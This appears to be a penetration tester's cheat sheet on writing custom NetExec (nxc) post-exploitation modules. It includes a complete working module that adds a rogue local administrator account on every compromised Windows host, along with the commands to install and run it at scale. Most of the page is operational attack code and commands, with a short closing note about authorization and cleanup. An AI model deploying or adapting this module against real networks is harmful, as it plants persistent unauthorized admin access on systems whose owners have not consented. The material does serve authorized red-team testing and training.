🛡️ Methodology Checklist

  • Confirm the task isn’t already a built-in module: nxc smb -L
  • Drop a .py module in ~/.nxc/modules/ (installed) or nxc/modules/ (source)
  • Class is NXCModule (legacy CrackMapExec modules use CMEModule)
  • Set name, description, supported_protocols, opsec_safe, multiple_hosts
  • Read user input in options() (passed via -o KEY=VALUE)
  • Put the payload in on_login() (any valid creds) or on_admin_login() (admin only)
  • Verify it loaded: nxc smb -L
  • Run it: nxc smb [TARGET] -u [USER] -p [PASS] -M [MODULE_NAME]

🎯 Operational Context

Use when: A repetitive post-exploitation action (custom user creation, registry change, file drop, bespoke check) isn’t covered by a built-in module and you want it run automatically across every host you Pwn3d!. Think Dumber First: Most things already exist — check nxc smb -L and nxc smb -M [MODULE] --options before writing code. A module only pays off when you’ll run the same action across many hosts. Skip when: A single -x "<command>" does the job on one host — no module needed.


⚡ Tactical Cheatsheet

CommandTactical Outcome
nxc smb -LList all loaded modules (verify yours appears)
nxc smb -M [MODULE] --optionsShow a module’s -o options
nxc smb [TARGET] -u [USER] -p [PASS] -M [MODULE]Run a module with defaults
nxc smb [TARGET] -u [USER] -p [PASS] -M [MODULE] -o KEY=VALUERun with custom options
~/.nxc/modules/Drop-in location for custom modules (installed nxc)
nxc/modules/Module location in a source/Poetry checkout

🔬 Deep Dive & Workflow

How an nxc module works

A module is a single Python file containing one class. NetExec discovers it by filename and exposes it via -M <name>.

  • Class: NXCModule (modern NetExec). Legacy CrackMapExec modules use CMEModule — both still load, but write new ones as NXCModule.
  • Trigger methods decide when your code runs:
    • on_login(self, context, connection) — fires for any valid credential.
    • on_admin_login(self, context, connection) — fires only when the login is local admin (Pwn3d!). Silently does nothing otherwise.
  • Interaction: connection.execute(command, True) runs a shell command on the target and returns its output.

Where to put it

# Installed via pipx — drop-in, no rebuild needed
cp mymodule.py ~/.nxc/modules/
 
# Source / Poetry checkout
cp mymodule.py /opt/NetExec/nxc/modules/
cd /opt/NetExec && poetry install   # only if dependencies changed

Worked example — createadmin.py

Creates a new local administrator on every host where you have admin (on_admin_login). User/pass are overridable via -o.

#!/usr/bin/env python3
 
class NXCModule:
    name = "createadmin"
    description = "Create a new local administrator account"
    supported_protocols = ["smb"]
    opsec_safe = False        # adding a local admin is very noisy
    multiple_hosts = True
 
    def options(self, context, module_options):
        """
        USER    Username for the new admin. Default: svcadmin
        PASS    Password for the new admin. Default: Ch4ngeMe!2026
        """
        self.user = module_options.get("USER", "svcadmin")
        self.password = module_options.get("PASS", "Ch4ngeMe!2026")
        if not self.user or not self.password:
            context.log.error("USER or PASS cannot be empty!")
            exit(1)
 
    def on_admin_login(self, context, connection):
        context.log.info(f"Creating admin {self.user} / {self.password}")
        command = (
            f'net user {self.user} "{self.password}" /add /Y && '
            f"net localgroup administrators {self.user} /add"
        )
        output = connection.execute(command, True)
        context.log.highlight(output)

Run it

# Confirm it loaded
nxc smb -L | grep createadmin
 
# Default user/pass
nxc smb [TARGET_IP] -u [ADMIN_USER] -p [ADMIN_PASS] -M createadmin
 
# Custom user/pass
nxc smb [TARGET_IP] -u [ADMIN_USER] -p [ADMIN_PASS] -M createadmin -o USER=[NEW_USER] PASS=[NEW_PASS]

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
Module not in nxc smb -LWrong directory or Python syntax errorPlace in ~/.nxc/modules/; check indentation/imports; nxc fails silently on a bad module
Module loads but nothing happensUsed on_admin_login without adminYou need Pwn3d! on the target; verify, or switch to on_login
connection.execute returns emptyCommand blocked by EDR, or no-op (user exists)Try the command manually via -x; check the host context
Option ignoredWrong -o key or protocolKeys are case-sensitive; ensure supported_protocols includes your protocol

📝 Reporting Trigger

Finding Title: N/A — operator tooling. (If createadmin-style modules are used, the outcome — a rogue local admin — is the finding; see AD_Privileged_Access.) Operational note: Custom modules that add accounts or modify the host are not OPSEC-safe — they leave durable artifacts (new users, event logs) that a SOC will catch. Use only where authorized, and clean up afterwards.